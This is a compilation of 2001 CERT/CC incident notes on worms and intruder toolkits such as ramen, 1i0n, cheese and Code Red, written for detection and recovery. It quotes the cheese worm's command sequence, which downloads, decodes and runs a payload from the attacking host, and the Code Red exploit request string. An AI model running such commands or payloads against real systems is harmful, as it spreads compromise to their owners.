Software Engineering Institute
Carnegie Mellon University

2001 CERT Incident Notes

CERT Division

http://www.sei.cmu.edu

REV-03.18.2016.0

This material is based upon work funded and supported by the Department of Defense under Contract No. FA8702-15-D-0002 with Carnegie Mellon University for the operation of the Software Engineering Institute, a federally funded research and development center.

This report was prepared for the

SEI Administrative Agent
AFLCMC/AZS
5 Eglin Street
Hanscom AFB, MA 01731-2100

DM17-0052

Table of Contents

1 IN-2001-01: Widespread Compromises via "ramen" Toolkit

Date: Thursday, January 18, 2001

Overview

The CERT/CC has received reports from sites that have recovered an intruder toolkit called 'ramen' from compromised hosts. Ramen has been discussed in several public forums and the toolkit is publicly available. Ramen exploits one of several known vulnerabilities and contains a mechanism to self-propagate.

Description

Ramen is a collection of tools designed to attack systems by exploiting well-known vulnerabilities in three commonly installed software packages. A successful exploitation of any of the vulnerabilities results in a privileged (root) compromise of the victim host.

The services and specific vulnerabilities targeted are

- wu-ftpd (port 21/tcp)
  - VU#29823, Format string input validation error in wu-ftpd site_exec() function
    http://www.kb.cert.org/vuls/id/29823
- rpc.statd (port 111/udp)
  - VU#34043, rpc.statd vulnerable to remote root compromise via format string stack overwrite
    http://www.kb.cert.org/vuls/id/34043
- lprng (port 515/tcp)
  - VU#382365, LPRng can pass user-supplied input as a format string parameter to syslog() calls
    http://www.kb.cert.org/vuls/id/382365

When a host is compromised, the ramen toolkit is automatically copied to the compromised host, installed in "/usr/src/.poop", and started. The ramen toolkit is controlled by a series of shell scripts that make modifications to the compromised system and initiate attacks on other systems. Several notable system modifications are made in sequence after ramen is started.

- All 'index.html' files on the system are replaced with an intruder-supplied 'index.html' file
- The system file '/etc/hosts.deny' is deleted
- The file '/usr/src/.poop/myip' is created and contains an IP address for the local system
- A script is added to the end of '/etc/rc.d/rc.sysinit' to initiate scanning and exploitation during system startup
- For systems with '/etc/inetd.conf'
  - an intruder supplied program is added as '/sbin/asp'. A service named 'asp' is added to '/etc/inetd.conf' and inetd is sent a signal to reload the configuration file. This causes inetd to listen on TCP socket number 27374 for incoming connections.
  - usernames 'ftp' and 'anonymous' are added to '/etc/ftpusers'

    - services 'rpc.statd' and 'rpc.rstatd' are terminated
    - the system files '/sbin/rpc.statd' and '/usr/sbin/rpc.statd' are deleted
- For systems without '/etc/inetd.conf'
    - an intruder-supplied program is added as '/usr/sbin/asp'. A service named 'asp' is added to '/etc/xinetd.d' and xinetd is sent a signal to reload it's configuration. This causes xinetd to listen on TCP socket number 27374 for incoming connections.
    - the 'lpd' service is terminated
    - the system file '/usr/sbin/lpd' is deleted and replaced with an empty file
    - usernames 'ftp' and 'anonymous' are added to '/etc/ftpusers'

After modifying the local system, ramen initiates scanning and exploitation attempts against external systems on a widespread basis. The scanning and exploitation operations are executed, to some degree, in parallel. The time between a probe and an exploit attempt may be relatively short.

Successful exploitation results in the target host being root compromised. In addition, several actions are automatically taken on the newly compromised host that result in ramen being propagated from the attacker to the victim.

- the directory '/usr/src/.poop' is created on the victim host
- the 'ramen.tgz' toolkit is copied from '/tmp/ramen.tgz' on the attacking host to '/usr/src/.poop/ramen.tgz' on the victim host
- 'ramen.tgz' is copied to '/tmp/ramen.tgz' on the victim host
- 'ramen.tgz' is unpacked in '/usr/src/.poop' and the controlling shell script is started

The method of propagation is provided by the intruder-supplied 'asp' service. It receives connections on TCP port 27374 of the attacking host and responds by sending a copy of '/tmp/ramen.tgz' to the victim host.

Impact

Vulnerable systems that are not current with vendor security patches are at risk for being root compromised via the ramen toolkit. Compromised systems may be subject to web-related files and system files being altered or destroyed. Denial-of-service conditions may be created for services relying on altered or destroyed files. Hosts that have been compromised are also at high risk for being party to attacks on other Internet sites.

The widespread, automated attack and propagation characteristics of ramen may cause bandwidth denial-of-service conditions in isolated portions of the network, particularly near groups of compromised hosts where ramen is running.

Solutions

The CERT/CC encourages Internet users and sites to ensure systems are up to date with current vendor security patches or workarounds for known security vulnerabilities. For more information, please see the related CERT advisories:

- CERT Advisory CA-2000-13
  Two Input Validation Problems In FTPD
  http://www.cert.org/advisories/CA-2000-13.html

- CERT Advisory CA-2000-17
  Input Validation Problem in rpc.statd
  http://www.cert.org/advisories/CA-2000-17.html

- CERT Advisory CA-2000-22
  Input Validation Problems in LPRng
  http://www.cert.org/advisories/CA-2000-22.html

In the absence of fully patched and secured systems, one short-term mitigation strategy is to prevent propagation through packet filtering. Using packet filters to block outbound TCP SYN packets to destination port 27374 at strategic network choke points will help prevent newly compromised hosts within your network from acquiring ramen from external hosts and further propagating it. Using packet filters to block inbound TCP SYN packets to destination port 27374 at strategic network choke points will help prevent newly compromised hosts outside of your network from acquiring ramen from internal hosts and further propagating it. Using packet filters, or IDS signatures, with logging may also provide a quick means of identifying hosts within your network that may have been compromised by ramen.

Please note that packet filtering on specific ports is a nonsustainable strategy because usage of specific port numbers by intruder tools can and does change over time.

If you believe your host has been compromised, please follow the steps outlined in

Steps for Recovering From a Root Compromise

Author: Kevin Houle

2 IN-2001-02: Open mail relays used to deliver "Hybris Worm"

Date: Friday, March 02, 2001

Overview

It is well documented that intruders have used open mail relays for years to deliver unsolicited email. Recently, the CERT/CC has received reports of intruders using open mail relays to propagate malicious code such as the "Hybris Worm." This represents a threat because intruders are increasingly using open mail relays to increase the number of messages propagated containing malicious code by leveraging the increased bandwidth and processing power of hosts connected to the Internet.

Description

The Hybris Worm is a piece of malicious code that propagates through email messages and newsgroup postings, specifically targeting Windows machines. To become infected a user must execute an attachment received in email or a posting; no special mail or news reader program is required to become infected.

This worm infects the Windows networking library WSOCK32.DLL file, thereby subverting "normal" email behavior. Whenever a user sends an email on an infected machine, the malicious code sends out another email to the same recipient with a copy of itself as an attachment. Based on reports the CERT/CC has received, Hybris only affects Win32 systems and does not contain a destructive payload. However, the malicious code appears to contain code modules that can be upgraded from the web to give it a destructive payload. There are several variants, although all variants have the same behavior with very minor differences.

Versions of Hybris reported to the CERT/CC have these characteristics:

```
From: Hahaha <hahaha@sexyfun.net>
Subject: Snowhite and the Seven Dwarfs - The REAL story!
Body: Today, Snowhite was turning 18. The 7 Dwarfs always where very educated
and  polite with Snowhite. When they go out work at mornign, they promissed a
*huge* surprise. Snowhite was anxious. Suddlently, the door open, and the
Seven Dwarfs enter...
Attachment: .SCR or .EXE file (name randomly chosen from a predefined list)
```

Or...

```
From: Hahaha <hahaha@sexyfun.net>
Subject: Enanito si, pero con que pedazo!
Body: Faltaba apenas un dia para su aniversario de de 18 a?ños. Blanca de
Nieve fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron
```

```
una *grande* sorpresa para su fiesta de complea?ños. Al entardecer, llegaron.
Tenian un brillo incomun en los ojos...
Attachment: .SCR or .EXE file (name randomly chosen from a predefined list)
```

While these characteristics are the most common in reports we have received, it is possible for any mail message to contain Hybris as a file attachment.

Intruders are using open mail relays to propagate Hybris. An "open" mail relay is a mail transport agent (MTA) that is configured to forward mail between senders and recipients who are not a part of the MTA's operational domain."Open mail relays" are sometimes called "open mail servers," "mail relays," "third-party mail servers," or similar names. Intruders who wish to obscure their identity often send mail through an open mail relay. Using an open mail relay from another site is attractive to the intruder because accountability is far less enforceable. For more information on open mail relays, please see http://maps.vix.com/tsi/ar-what.html.

For more details about Hybris, please check an antivirus vendor database. A sample collection is listed on the CERT/CC's Computer Virus Resources page: http://www.cert.org/other_sources/viruses.html#III.

Impact

Sites with open mail relays may be used to send mail to arbitrary third parties with possible malicious payloads such as Hybris. The use of the mail server's cycles and bandwidth can degrade the quality of service.

Solution

It may be possible for an organization to be an open mail relay without knowing it. Generally speaking, there are few circumstances under which a network should have an open mail relay. We encourage sites to review their mail server configuration and evaluate their exposure to this type of abuse.

As good security practice, users should always exercise caution when receiving email with attachments. Disable auto-opening or previewing of email attachments in your mail program. Do not open attachments from an untrusted origins or those that appear suspicious in any way. Finally cryptographic checksums can be used to validate the integrity of the file.

Authors: Ian Finlay, Brian King, Shawn Hernan

3 IN-2001-03: Exploitation of BIND Vulnerabilities

Date: Friday, March 30, 2001

On January 29, 2001 the CERT/CC published CERT Advisory CA-2001-02 detailing multiple vulnerabilities in multiple versions of ISC BIND nameserver software. Two of the vulnerabilities described in the advisory are now actively being exploited by the intruder community to compromise systems. In particular, these vulnerabilities are being exploited:

> VU#325431 - Queries to ISC BIND servers may disclose environment variables
>
> VU#196945 - ISC BIND 8 contains buffer overflow in transaction signature (TSIG) handling code

Multiple exploits exist for multiple operating system platforms, and we have seen several versions of packaged kits containing exploits used by intruders to automate the process of scanning for and compromising vulnerable systems. At least one known toolkit employs worm-like techniques designed to cause the attack cycle to self-initiate on a compromised host, which can result in the attack propagating across multiple hosts and networks without intruder interaction. To date, reports to the CERT/CC indicate that successful exploitation has involved hosts running Linux.

Attack Profile

In exploitations seen by the CERT/CC, the two vulnerabilities in ISC BIND are used in conjunction with each other during a single attack to compromise a target host.

The exploits we have seen have the following traffic pattern:

```
attacker:port -> victim:53 TCP SYN
victim:53 -> attacker:port TCP SYN ACK
attacker:port -> victim:53 TCP ACK   (TCP session established)
attacker:port -> victim:53 UDP DNS inverse query request
```

The exploit opens a TCP connection to port 53 on the victim host and then sends a specially formed DNS inverse query packet to the target via UDP. The inverse query packet is an exploit of the BIND information leak vulnerability (VU#325431) described in CERT Advisory CA-2001-02. The nameserver response may vary depending on the configuration of the nameserver and the influence of access control mechanisms. In most cases, we have seen a response in a single UDP packet back to the source indicating a format error in the inverse query.

```
victim:53 -> attacker:port UDP DNS inverse query format error
```

The goal of exploiting the information leak vulnerability is to gain information to enable an exploit attempt against the BIND TSIG vulnerability (VU#196945) described in CERT Advisory CA-2001-02.

If the information returned in the inverse query response packet indicates that the target DNS server is not vulnerable to the TSIG exploit, the exploit process closes the TCP connection and

exits. However, if the information yielded from the information leak exploit indicates a vulnerable BIND, the exploit process proceeds with the TSIG exploit. The traffic pattern looks like this:

```
attacker:port -> victim:53 UDP (shellcode)
victim:53 -> attacker:port UDP DNS format error
attacker:port -> victim:53 TCP (payload)
```

In exploits we have seen, the shellcode is sent by the exploit using UDP, causing /bin/sh to be attached to the existing socket connection on port 53/tcp. Then, the exploit sends shell commands on 53/tcp for execution on the compromised host as the user running the nameserver process.

Examples of two specific toolkits employing this type of exploit are discussed below. Note, intruder toolkits often change over time, so exact composition and attack sequences may vary from these descriptions.

'erkms' toolkit

A small number of incidents reported to the CERT/CC since mid February of 2001 have involved the use of a toolkit called 'erkms'. However, the incidents have in total involved more than 10,000 hosts.

The attack portion of 'erkms' uses the following tools:

MD5 checksum	Filename	Filesize
5899fa53c027aa2813c6adcaaf096a25	l	17203
ccccd7adba38b2f3ed777a398624097e	m.c	234
40323dbe7d19e41303088f49ce6a4edd	m.o	5535
7df70d9e426aaaeeadfb24c066d5445f	rscan	39621
3c856a7f1cfd6d22cbc32a8ccf0a796a	r	75

- 'r' is a shell script that calls 'rscan' to scan a /8 network block for TCP port 53. For a victim host listening on TCP port 53 with no influence from packet filtering, the traffic pattern is:
  ```
  attacker:port -> victim:53 TCP SYN
  victim:53 -> attacker:port TCP SYN ACK
  attacker:port -> victim:53 TCP RST
  ```
- For hosts responding on 53/tcp, 'rscan' executes 'm.o', which in turn executes the exploit code 'l' against the victim host (see "Attack Profile" above).

The payload of the exploit code uses the rcp(1) program to retrieve additional tools from a remote distribution point. The additional tools are installed on the compromised host. The tools installed and used include:

MD5 checksum	Filename	Filesize
ffe6f1055d4bca4fb56a1124bf293c95	a	448
4a2149387c8b538d5b0ff65f85e08dcc	net4	337920
60959ee2254105bfc55a2740dc1bdaab	bj	212244

```
0f81ae0bcb1111f586d673a5818a8ce0  btm.c            7513
007c4e98ad2ec4c26d30247e5399360a  btm.h            2258
fcc8ae5a47dcb55e27a7ca37fe7745ef  fix             17653
f227d09f1697ebb268d36e83f54db55a  go               1024
f2f8b75aafb1b6314b93b7a0a18fac2a  ls              36952
662c04f1e5af11fc38a82b736644b591  named          579660
a8a65bd376f38ce3f99bed64956bdf09  netstat         32800
6dcd03966a893e2d38e833727cbcc35a  tcpd            14224
```

- 'net4' is a trinoo distributed denial of service agent, which is discussed in CERT Incident Note IN-99-07. It is installed and executed as '/usr/sbin/init' and a crontab entry is added to restart the process.
- The following system files are replaced with intruder supplied versions:
  - /bin/login (from 'bj') - allows backdoor connections
  - /usr/sbin/in.telnetd (via 'btm') - allows backdoor connections
  - /usr/sbin/in.ftpd (via 'btm') - allows backdoor connections
  - /bin/ls (from 'ls')
  - /usr/sbin/tcpd (from 'tcpd')
  - /bin/netstat (from 'netstat')
  - /usr/sbin/named (from 'named')
  - /usr/sbin/in.smb (from '/usr/sbin/in.telnetd')
  - /etc/inetd.conf and /etc/services are both modified to cause inetd to spawn /usr/bin/in.smb for connections to TCP port 54321. The bogus service name used is 'smbd2'.
- Trojan horse configuration information is written to '/dev/hdbb' and '/dev/ptyq'.

'1i0n' worm

A growing number of incidents reported to the CERT/CC since mid February of 2001 have involved the use of a toolkit called '1i0n', or 'lion'. Multiple versions of '1i0n' are known to exist, but in all versions we have seen the same attack profile described above used to exploit vulnerabilities in victim hosts.

All known versions of '1i0n' seem to perform the following similar actions via automated scripts to locate and attack victim hosts.

- A program named 'randb' is executed to select a random /16 network block.
- 'pscan' is executed to scan for TCP port 53 across the random network block. The traffic pattern of the scan differs from that of the 'rscan' tool from 'erkms' in that a full 3-way TCP handshake is completed and the connection is properly terminated. For a victim host listening on TCP port 53 with no influence from packet filtering, the traffic pattern is:

```
attacker:port -> victim:53 TCP SYN
victim:53 -> attacker:port TCP SYN ACK
attacker:port -> victim:53 TCP ACK
attacker:port -> victim:53 TCP FIN ACK
victim:53 -> attacker:port TCP ACK
victim:53 -> attacker:port TCP FIN ACK
attacker:port -> victim:53 TCP ACK
```

- For each host responding on 53/tcp, the exploit code 'bind' is executed against the victim host (see "Attack Profile" above).

The attack cycle continues through the entire /16 network block, at which point a new /16 network block is randomly selected and the attack cycle begins again.

The payload of the exploit code retrieves a copy of the '1i0n' toolkit and installs it on the compromised victim host. At that point, a new attack cycle is initiated on the victim host without any intruder intervention. The source of the '1i0n' toolkit installed on a compromised host and the composition of that toolkit may vary significantly between versions. Some examples of what we have seen include:

- sensitive system information, including copies of the /etc/passwd and /etc/shadow files, sent via email to a remote address
- system binaries replaced with intruder supplied versions to hide intruder processes and network connections, and to provide backdoor privileged access
- system configuration files altered
- system logging facilities may be disabled and log files may be destroyed
- installation of distributed denial of service tools such as Tribe Flood Network (e.g., tfn)

More information about '1i0n' has been published by The SANS Institute:
http://www.sans.org/y2k/lion.htm

Impact

Intruders are using automated and self-replicating toolkits to exploit known vulnerabilities in ISC BIND. Exploit code is in wide public circulation.

Systems running vulnerable versions of ISC BIND are at risk for being compromised on a widespread basis. Compromised hosts are at high risk for being used to attack other Internet sites, having system binaries and configuration files altered, and having sensitive information exposed to external parties.

Solution

The CERT/CC encourages all Internet sites to review CERT Advisory CA-2001-02 and insure workarounds or patches have been applied on all affected hosts on your network.

As a good security practice, access to nameservers on TCP port 53 should be restricted to trusted sources only using nameserver configuration options, host-based access control lists, and/or network-based access control through packet filtering.

If you believe a host under your control has been compromised, you may wish to refer to
Steps for Recovering From a Root Compromise

Author(s): Kevin Houle, George Weaver, Ian Finlay

4 IN-2001-04: "Carko" Distributed Denial-of-Service Tool

Date: Tuesday, April 24, 2001

Overview

The CERT/CC has received reports that a distributed denial-of-service (DDoS) tool named Carko is being installed on compromised hosts. Preliminary analysis indicates that Carko appears to be similar to stacheldraht+antigl+yps. Based on reports to the CERT/CC, intruders are using the snmpXdmid vulnerability described in the following document to compromise hosts and then install Carko.

> VU#648304 - Sun Solaris DMI to SNMP mapper daemon snmpXdmid contains buffer overflow

On March 30, 2001 the CERT/CC published CERT Advisory CA-2001-05 describing this vulnerability.

Impact

Compromised hosts are at high risk for being used to attack other Internet sites, having system binaries and configuration files altered, and exposing sensitive information to external parties. Additionally, DDoS tools are capable of diminishing the availability of services through packet flooding attacks and other resource consumption based attacks.

Solution

The CERT/CC encourages Internet users and sites to ensure systems are up to date with current vendor security patches or workarounds for known security vulnerabilities. For more information, please see the related CERT/CC documents:

- CERT Advisory CA-2001-05
  Exploitation of snmpXdmid
  http://www.cert.org/advisories/CA-2001-05.html
- Vulnerability Note VU#648304
  Sun Solaris DMI to SNMP mapper daemon snmpXdmid contains buffer overflow
  http://www.kb.cert.org/vuls/id/648304

If you believe your host has been compromised, please follow the steps outlined in Steps for Recovering From a Root Compromise.

Author: Ian Finlay

5 IN-2001-05: The "cheese" Worm

Date: Thursday, May 17, 2001

Overview

The CERT/CC has observed in public and private reports a recent pattern of activity surrounding probes to TCP port 10008. We have obtained an artifact called the 'cheese worm' which may contribute to the pattern.

Description

The 'cheese worm' is a worm designed to remove all inetd services referencing '/bin/sh' from systems with root shells listening on TCP port 10008. In reality, the 'cheese worm' will attempt to execute a series of shell commands on any host which accepts TCP connections on TCP port 10008.

The 'cheese worm' perpetuates its attack cycle across multiple hosts by copying itself from attacking host to victim host and self-initiating another attack cycle. Thus, no human intervention is required to perpetuate the cycle once the worm has begun to propagate.

Contents:

```
MD5 Checksum                     Filesize Filename
-------------------------------------------------------
c6a0feb1b1723493fe504148df4fc0af     2381 cheese
a87a2a8c31cfe38af309e173c2257158       47 go
0093fdcb12b6fb836495b7cd53d19ddb    15471 psm
```

Attack Sequence:

In examples we have seen, the contents of the 'cheese worm' are installed in '/tmp/.cheese' and that directory is the working directory as commands are executed.

The attack sequence is initiated with the execution of the shell script 'go' on the attacking host. 'go' simply executes the perl script 'cheese':

```
/tmp/.cheese/go:
#!/bin/sh
nohup ./cheese $1 1>/dev/null 2>&1 &
```

The 'cheese' script does the following:

- changes its process name to 'httpd'
- deletes the 'go' script
- checks for a file named 'ADL' in the working directory
  - if found, 'cheese' exits

    - if not found, the 'ADL' file is created, the string 'ADL' is written into the file, and the timestamp is set to match the timestamp of the system's '/bin/ls' file
- reads '/etc/inetd.conf' and rewrites it excluding any line that contains the string '/bin/sh'
- attempts to restart inetd twice, once using '/usr/bin/killall' and once using '/bin/killall'
- until the 'cheese' process is somehow killed, it repeats a cycle of scanning semi-random /16 (e.g., class B) network blocks for hosts listening on TCP port 10008 using the 'psm' program.
    - the first octet of the address may be from 193 to 218
    - the second octet of the address may be from 1 to 254

  On hosts responding to a probe on TCP port 10008, the worm

    - establishes a TCP connection to port 10008 of the victim host
    - starts a listener process on a random TCP socket number from 10000 through 15000
        - the listener process will send a copy of '/tmp/.cheese/cheese.uue' to anything that provides two linefeeds after connecting to it's TCP socket
    - sends the following commands to the victim host on TCP port 10008 (word wrapped for readability)
        - ```
          export TERM=vt100 ;
          export PATH=\"/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\" ;
          export HISTFILE=/dev/null ;
          mkdir /tmp/.cheese ;
          touch -r /bin/sh /tmp/.cheese ;
          cd /tmp/.cheese ;
          lynx -source http://$li:$rp/ >cheese.uue ;
          uudecode cheese.uue ;
          tar zxvf cheese.tgz ;
          rm -f cheese.tgz ;
          touch -r /bin/sh * ;
          chmod 755 * ;
          ./go $mhih ;
          exit ;
          ```
            - '$li' contains the IP address of the local system
            - '$rp' is the TCP port on the local system for the listener
            - '$mhih' is the IP address of the victim host

              If successfully executed on the victim host, these commands cause a copy of the 'cheese worm' (e.g., cheese.uue) to be downloaded, installed, and executed on the victim host.

    - terminates the listener process

Impact

Network Footprint:

A host running an active instance of the 'cheese worm' will

- scan TCP port 10008 on remote /16 network blocks
- initiate TCP connections to TCP port 10008 on victim hosts
          ```

- receive a TCP connection on a TCP port number from 10000 through 15000 when the worm replicates to a victim host

A victim host being compromised by the 'cheese worm' will

- receive a probe to TCP port 10008 from the attacking host
- receive a TCP connection to port 10008 from the attacking host
- initiate a TCP connection to a TCP port number from 10000 to 15000 on the attacking host
- begin the attack cycle of an active 'cheese worm' host

System Footprint:

The following files may be found on a system impacted by the 'cheese worm':

/tmp/.cheese/

/tmp/.cheese/ADL

/tmp/.cheese/go

/tmp/.cheese/cheese

/tmp/.cheese/psm

/tmp/.cheese/cheese.uue

/tmp/.cheese/cheese.tgz

The following files may be modified:

/etc/inetd.conf

The following services may be restarted:

inetd

The 'cheese worm' relies on an exposed, unauthenticated, privileged shell listening on TCP port 10008 to alter a system and perpetuate its attack cycle. As such, the presence of the 'cheese worm' on a system implies an insecure system configuration or a previous system compromise.

Solutions

The CERT/CC encourages sites to review hosts infected with the 'cheese worm' for other signs of intrusion and take appropriate steps to insure the security of impacted systems.

In particular, certain versions of the BIND TSIG exploit discussed in IN-2001-03, Exploitation of BIND Vulnerabilities.

create a backdoor root shell on TCP port 10008. Such an exploit was bundled into at least one version of the '1i0n' worm. A detailed analysis of the '1i0n' worm was published by Max Vision and is available at http://www.whitehats.com/library/worms/lion/index.html

The Korea Computer Emergency Response Team Coordination Center (CERTCC-KR) has published CERTCC-KR-IN-01-007 discussing the 'cheese' worm in Korean.

If you believe a host under your control has been compromised, you may wish to refer to Steps for Recovering From a Root Compromise

Acknowledgement

The CERT/CC thanks CERTCC-KR for their contributions to this Incident Note.

Author: Kevin Houle

6 IN-2001-06: Verification of Downloaded Software

Release Date: June 8, 2001

The CERT/CC has received reports and inquiries regarding the integrity of downloaded software.

Background

When downloading software from online repositories, it is important to consider the possibility that the site has been compromised. One of the threats that users face is that intruders could include malicious code in the software packages distributed by those sites. This code could take the form of Trojan horse programs or backdoors.

There are precautions that users can take when downloading software. There are also ways that software publishers and distributors can provide verification of the authenticity of their software.

Users

We strongly encourage users to verify cryptographic signatures (e.g. PGP) of all downloaded software. Cryptographic signatures provide reasonable assurance that the files have not been modified either on the server or in transit. They also allow for verification of the signer's identity.

In situations where cryptographic signatures are not provided but some other form of checksum (e.g. MD5 hash) has been included, we encourage users to verify the software against these checksums. Although checksums alone provide no information about when the checksum was generated or who generated it, they do provide some evidence that the files have not been modified. However, it is possible that an intruder could have replaced both the software and checksums. Therefore, when possible, we recommend that users compare the checksums provided by multiple sources, such as mirror sites.

If no signatures or checksums are provided, we recommend that users perform a thorough examination of all downloaded source code before compilation and installation. In the case of binaries where examination is difficult or impossible, users may wish to perform offline testing before installing downloaded binaries into production environments.

Software Publishers & Distributors

We encourage anyone publishing or distributing software to use cryptographic signatures and checksums. Publishers and distributors should generate the signatures and checksums on a non-public machine to reduce the risk of compromised private keys.

For more information

General information about Pretty Good Privacy (PGP), including some free software implementations, can be found at http://www.pgpi.org/.

The commercial version of PGP, from PGP Security, Inc., can be found at http://www.pgp.com/.

Information about GNU Privacy Guard, a freely available OpenPGP-compliant implementation, can be found at http://www.gnupg.org/.

Information on Trojan Horse programs can be found in the following document: http://www.cert.org/advisories/CA-1999-02.html.

Author(s): Chad Dougherty and Allen Householder

7 IN-2001-07: W32/Leaves: Exploitation of previously installed SubSeven Trojan Horses

Release Date: July 3, 2001

Systems Affected

- Systems running Microsoft Windows (all versions)

Overview

The CERT/CC has received an increasing number of reports regarding the compromise of home user machines running Microsoft Windows. Most of these reports surround the intruder tool Sub-Seven. SubSeven is often used as a Trojan horse, which allows an intruder to deliver and execute any custom payload and run arbitrary commands on the affected machine. This control includes the ability to read, modify, and delete confidential information. Additionally, the intruder may use the affected computer as a launching point for additional attacks (namely, denial of service).

While we believe that this level of intruder activity is not unusual, additional concern may be warranted in light of a new emerging class of "malware" such as W32/Leaves. W32/Leaves appears to be representative of a class of self-replicating, malicious code that automatically scans for hosts with these toolkits installed and leverages backdoors (i.e., SubSeven) for further malicious activity. An existing backdoor installed on a host by one intruder can now be used by another without any prior communication or intention for collaboration between intruders.

Additional analysis performed by the NIPC on W32/Leaves can be found at http://www.nipc.gov/warnings/advisories/2001/01-014.htm.

Mitigation

In order to protect against this class of attacks, the CERT/CC recommends installing defensive software.

1. Install and Maintain Anti-Virus Software

The CERT/CC strongly recommends using anti-virus software. Most current anti-virus software products are able to detect and alert the user that an intruder is attempting to install a Trojan horse program or that one has already been installed.

In order to ensure the continued effectiveness of such products, it is important to keep them up to date with current virus and attack signatures supplied by the original vendors. Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

2. Deploy a Firewall

The CERT/CC also recommends using a firewall product, such as a network appliance or a personal firewall software package. In some situations, these products may be able to alert users to the fact that their machine has been compromised. Furthermore, they have the ability to block intruders from accessing backdoors over the network. However, no firewall can detect or stop all attacks, so it is important to continue to follow safe computing practices.

For additional information about securing home systems and networks, please see the "Home Network Security" tech tip at http://www.cert.org/tech_tips/home_networks.html

If these protective measures reveal that the machine has already been compromised, more drastic steps need to be taken to recover. When a computer is compromised, any installed software could have been modified, including the operating system, applications, data files, and memory. In general, the only way to ensure that a compromised computer is free from backdoors and intruder modifications is to re-install the operating system from the distribution media and install vendor-recommended security patches before connecting back to the network. Merely identifying and fixing the vulnerability that was used to initially compromise the machine may not be enough.

For detailed information about recovering from a system compromise, please see our "Steps for Recovering from a UNIX or NT System Compromise" tech tip at http://www.cert.org/tech_tips/win-UNIX-system_compromise.html.

Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: "[CERT#28548]".

In addition, please see our explicit guidelines on reporting an incident at http://www.cert.org/tech_tips/incident_reporting.html.

Authors: Roman Danyliw, Chad Dougherty and Allen Householder

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our web site: http://www.cert.org/.

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message

```
subscribe cert-advisory
```

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

Revision History

```
July 3, 2001: Initial Release
```

8 IN-2001-08: "Code Red" Worm Exploiting Buffer Overflow In IIS Indexing Service DLL

Release Date: July 19, 2001

Systems Affected

- Systems running Microsoft Windows NT 4.0 with IIS 4.0 or IIS 5.0 enabled
- Systems running Microsoft Windows 2000 (Professional, Server, Advanced Server, Datacenter Server)
- Systems running beta versions of Microsoft Windows XP

Overview

The CERT/CC has received reports of new self-propagating malicious code exploiting the vulnerability described in CERT Advisory CA-2001-13 Buffer Overflow In IIS Indexing Service DLL. These reports indicate that the "Code Red" worm has already affected more than 13,000 hosts.

Description

In examples we have seen, the "Code Red" worm attack sequence proceeds as follows:

- The victim host is scanned for TCP port 80.
- The attacking host sends the exploit string to the victim.
- The worm, now executing on the victim host, checks for the existence of c:\notworm. If found, the worm ceases execution.
- If c:\notworm is not found, the worm begins spawning threads to scan random IP addresses for hosts listening on TCP port 80, exploiting any vulnerable hosts it finds.
- If the victim host's default language is English, then after 100 scanning threads have started and a certain period of time has elapsed following infection, all web pages served by the victim host are defaced with the message,

```
HELLO! Welcome to http://www.worm.com! Hacked By Chinese!
```

- If the victim host's default language is not English, the worm will continue scanning but no defacement will occur.

Additional detailed analysis of this worm has been published by eEye Digital Security at http://www.eeye.com.

Impact

In addition to web site defacement, affected systems may experience performance degradation as a result of this worm.

Each instance of the "Code Red" worm uses the same random number generator seed to create the list of IP addresses it scans. Therefore, each victim host begins scanning the same IP addresses

that previous instances have scanned, which could result in a denial of service against the IP addresses earliest in the list.

Furthermore, it is important to note that while the "Code Red" worm appears to merely deface web pages on affected systems and attack other systems, the IIS indexing vulnerability it exploits can be used to execute arbitrary code in the Local System security context, effectively giving an attacker complete control of the victim system. It is therefore imperative to apply the remedies described in the Solutions section of this document.

System Footprint

The "Code Red" worm can be identified on victim machines by the presence of the following string in IIS log files:

```
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531
b%u53ff%u0078%u0000%u00=a
```

Additionally, web pages on victim machines may be defaced with the following message:

```
HELLO! Welcome to http://www.worm.com! Hacked By Chinese!
```

Network Footprint

A host running an active instance of the "Code Red" worm will scan random IP addresses on port 80/TCP looking for other hosts to infect.

Solutions

The CERT/CC encourages all Internet sites to review CERT Advisory CA-2001-13 and ensure workarounds or patches have been applied on all affected hosts on your network.

If you believe a host under your control has been compromised, you may wish to refer to Steps for Recovering from a UNIX or NT System Compromise.

Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org.

Author(s): Allen Householder

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

